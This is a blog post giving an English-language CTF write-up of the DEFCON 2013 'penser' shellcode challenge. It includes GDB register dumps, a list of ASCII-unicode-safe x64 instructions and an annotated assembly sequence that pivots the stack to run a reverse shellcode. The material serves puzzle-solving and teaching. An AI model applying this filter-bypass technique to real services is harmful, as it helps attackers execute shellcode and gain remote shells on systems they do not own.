2013년 6월 20일 목요일

DEFCON 2013 shellcode 400 - penser

x64 ELF is given. it's a fork-accept daemon.

Client Handler receives 4 bytes. as size of malloc buffer



size limit is 0x1000 bytes.


server receives shellcode into malloc buffer


server allocates RWX memory with double size of malloc buffer, then copies shellcode.
but, actually malloc buffer has RWX permission too.
after that malloc and mmap buffer is passed to some function(my_something).


my_something checks if buffer and length is valid, then memsets mmap buffer to zero.


and there is a loop which copies the malloc buffer contents to mmap buffer in bytes.
but the byte out of range 0x20~0x7F is not accepted. and each byte is copied with NULL.
which means, our original shellcode has to be ASCII-UNICODE proof.



after our shellcode is UNICODED, server executes it with CALL RDX;

it seemed to be impossible to write working reverse shellcode as ascii-unicode proof.
so we searched for every possible assembly instructions which we can use.
and investigated the register context / stack environment with GDB.

Breakpoint 2, 0x0000000000401226 in ?? ()
(gdb) i r
rax            0x0 0
rbx            0x0 0
rcx            0x0 0
rdx            0x7ffff7ff6000 140737354096640
rsi            0x1 1
rdi            0x0 0
rbp            0x7fffffffe060 0x7fffffffe060
rsp            0x7fffffffe020 0x7fffffffe020
r8             0x0 0
r9             0x300000 3145728
r10            0x7fffffffddc0 140737488346560
r11            0x7ffff7a959b0 140737348458928
r12            0x400f80 4198272
r13            0x7fffffffe1e0 140737488347616
r14            0x0 0
r15            0x0 0
rip            0x401226 0x401226
eflags         0x206 [ PF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0


(gdb) x/10x $rsp
0x7fffffffe018: 0x00401228 0x00000000 0xffffe060 0x00007fff
0x7fffffffe028: 0x00000000 0x00000008 0x00001000 0x00000000
0x7fffffffe038: 0x00606a90 0x00000000
(gdb) 

we found that there is malloc buffer pointer at [RSP+0x20].

below are some of the lists of ascii-unicode proof x64 instructions.
(plus register PUSH/POP instructions)
   0x7ffff7ff6036: add    %bl,(%rax,%rax,1)
   0x7ffff7ff6039: sbb    $0x1f001e00,%eax
   0x7ffff7ff603e: add    %ah,(%rax)
   0x7ffff7ff6040: add    %ah,(%rcx)
   0x7ffff7ff6042: add    %ah,(%rdx)
   0x7ffff7ff6044: add    %ah,(%rbx)
   0x7ffff7ff6046: add    %ah,(%rax,%rax,1)
   0x7ffff7ff6049: and    $0x27002600,%eax
   0x7ffff7ff604e: add    %ch,(%rax)
   0x7ffff7ff6050: add    %ch,(%rcx)
   0x7ffff7ff6052: add    %ch,(%rdx)
   0x7ffff7ff6054: add    %ch,(%rbx)
   0x7ffff7ff6056: add    %ch,(%rax,%rax,1)
   0x7ffff7ff6059: sub    $0x2f002e00,%eax
   0x7ffff7ff605e: add    %dh,(%rax)
   0x7ffff7ff6060: add    %al,(%rax)
   0x7ffff7ff6062: add    %dh,(%rcx)
   0x7ffff7ff6064: add    %dh,(%rdx)
   0x7ffff7ff6066: add    %dh,(%rbx)
   0x7ffff7ff6068: add    %dh,(%rax,%rax,1)
   0x7ffff7ff606b: xor    $0x37003600,%eax
   0x7ffff7ff6070: add    %bh,(%rax)
   0x7ffff7ff6072: add    %bh,(%rcx)
   0x7ffff7ff6074: add    %bh,(%rdx)
   0x7ffff7ff6076: add    %bh,(%rbx)
   0x7ffff7ff6078: add    %bh,(%rax,%rax,1)
   0x7ffff7ff607b: cmp    $0x3f003e00,%eax
   0x7ffff7ff6080: add    %al,0x0(%rax)
   0x7ffff7ff6083: add    %al,0x0(%r10)
   0x7ffff7ff6087: add    %al,0x45(%r8,%r8,1)
   0x7ffff7ff608c: add    %al,0x0(%rsi)
   0x7ffff7ff608f: rex.RXB add %r9b,0x0(%r8)
   0x7ffff7ff6093: rex.WB add %cl,0x0(%r10)
   0x7ffff7ff6097: rex.WXB add %cl,0x4d(%r8,%r8,1)
   0x7ffff7ff609c: add    %cl,0x0(%rsi)
   0x7ffff7ff609f: rex.WRXB add %r10b,0x0(%r8)
   0x7ffff7ff60a3: push   %rcx
   0x7ffff7ff60a4: add    %dl,0x0(%rdx)
   0x7ffff7ff60a7: push   %rbx
   0x7ffff7ff60a8: add    %dl,0x55(%rax,%rax,1)
   0x7ffff7ff60ac: add    %dl,0x0(%rsi)
   0x7ffff7ff60af: push   %rdi
   0x7ffff7ff60b0: add    %bl,0x0(%rax)
   0x7ffff7ff60b3: pop    %rcx
   0x7ffff7ff60b4: add    %bl,0x0(%rdx)
   0x7ffff7ff60b7: pop    %rbx
   0x7ffff7ff60b8: add    %bl,0x5d(%rax,%rax,1)
   0x7ffff7ff60bc: add    %bl,0x0(%rsi)
   0x7ffff7ff60bf: pop    %rdi
   0x7ffff7ff60c0: add    %ah,0x0(%rax)
   0x7ffff7ff60c3: (bad)  
   0x7ffff7ff60c4: add    %ah,0x0(%rdx)
   0x7ffff7ff60c7: movslq (%rax),%eax
   0x7ffff7ff60c9: add    %ah,%fs:0x0(%rbp)
   0x7ffff7ff60cd: data16
   0x7ffff7ff60ce: add    %ah,0x0(%rdi)
   0x7ffff7ff60d1: pushq  $0x6a006900
   0x7ffff7ff60d6: add    %ch,0x0(%rbx)
   0x7ffff7ff60d9: insb   (%dx),%es:(%rdi)
   0x7ffff7ff60da: add    %ch,0x0(%rbp)
   0x7ffff7ff60dd: outsb  %ds:(%rsi),(%dx)
   0x7ffff7ff60de: add    %ch,0x0(%rdi)
   0x7ffff7ff60e1: jo     0x7ffff7ff60e3
   0x7ffff7ff60e3: jno    0x7ffff7ff60e5
   0x7ffff7ff60e5: jb     0x7ffff7ff60e7
   0x7ffff7ff60e7: jae    0x7ffff7ff60e9
   0x7ffff7ff60e9: je     0x7ffff7ff60eb
   0x7ffff7ff60eb: jne    0x7ffff7ff60ed
   0x7ffff7ff60ed: jbe    0x7ffff7ff60ef
   0x7ffff7ff60ef: ja     0x7ffff7ff60f1
   0x7ffff7ff60f1: js     0x7ffff7ff60f3
   0x7ffff7ff60f3: jns    0x7ffff7ff60f5
   0x7ffff7ff60f5: jp     0x7ffff7ff60f7
   0x7ffff7ff60f7: jnp    0x7ffff7ff60f9
   0x7ffff7ff60f9: jl     0x7ffff7ff60fb
   0x7ffff7ff60fb: jge    0x7ffff7ff60fd
   0x7ffff7ff60fd: jle    0x7ffff7ff60ff
   0x7ffff7ff60ff: jg     0x7ffff7ff6101


to sum up, we can use register PUSH/POP instructions, we can adjust the register value by 
pushing them and overwriting a byte into stack.

with some clever combination of instructions we can write the return instruction at the end of unicode shellcode.
and we were able to manage the RSP to point to normal reverse shellcode.  see below.

0x7ffff7ff606b: xor    $0x37003600,%eax
0x7ffff7ff6070: add    %bh,(%rax)

we can't XOR an arbitrary constant to a register but we can XOR a constant which contains zero at second, fourth byte. and we can also add ah, bh, ch, dh...(second bytes) register to a memory location pointed with RAX.

we exploit the fact that 
1. we can put return instruction at the end of unicode shellcode.
2. we can adjust ESP to point start of reverse shellcode.

it's complex. but the following describes this scenario.

# set return opcode into bh
xor $0x20002000, %eax        # EAX: 20002000
sub $0x30003000, %eax        # EAX: EFFFF000
xor $0x33003300, %eax        # EAX: DCFFC300
push %rax
pop %rbx                            # EBX: DCFFC300.  BH has value C3(ret)

# set RDX shellcode + X
push %rdx
pop %rax                             # get address of shellcode
push %rax                             # push the address of shellcode
push %rsp                             # push the address of address of shellcode
pop %rax                             # set RAX the address of address of shellcode
add %bh, (%rax)             # add(increase) shellcode address 0xC3(mmap buffer is page aligned)
pop %rdx                     # set RDX shellcode + 0xC3

# insert ret instruction at shellcode+C3
add %bh, (%rdx)

# get malloc buffer address to RAX
pop %rax
pop %rax
pop %rax
pop %rax
pop %rax                            # now RAX has malloc buffer address.

# set RAX to RSP
push %rax
pop %rsp

# increase RSP enough to skip the unicode shellcode part. and push RSP to stack.
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
push %rsp

# set RAX a valid address for unicode shell NOP sled.
push %rbp
pop %rax

# everything set. wait for return!!

we extracted the machine codes with GDB

Dump of assembler code for function main:
   0x0000000000401110 <+0>: 35 00 20 00 20 xor    $0x20002000,%eax
   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)
   0x0000000000401115 <+5>: 2d 00 30 00 30 sub    $0x30003000,%eax
   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)
   0x000000000040111a <+10>: 35 00 33 00 33 xor    $0x33003300,%eax
   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)
   0x000000000040111f <+15>: 50         push   %rax
   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)
   0x0000000000401123 <+19>: 5b         pop    %rbx
   0x0000000000401124 <+20>: 00 6d 00 add    %ch,0x0(%rbp)
   0x0000000000401127 <+23>: 52         push   %rdx
   0x0000000000401128 <+24>: 00 6d 00 add    %ch,0x0(%rbp)
   0x000000000040112b <+27>: 58         pop    %rax
   0x000000000040112c <+28>: 00 6d 00 add    %ch,0x0(%rbp)
   0x000000000040112f <+31>: 50         push   %rax
...


this is final exploit.


after doing some debugging, it was successful.



댓글 없음:

댓글 쓰기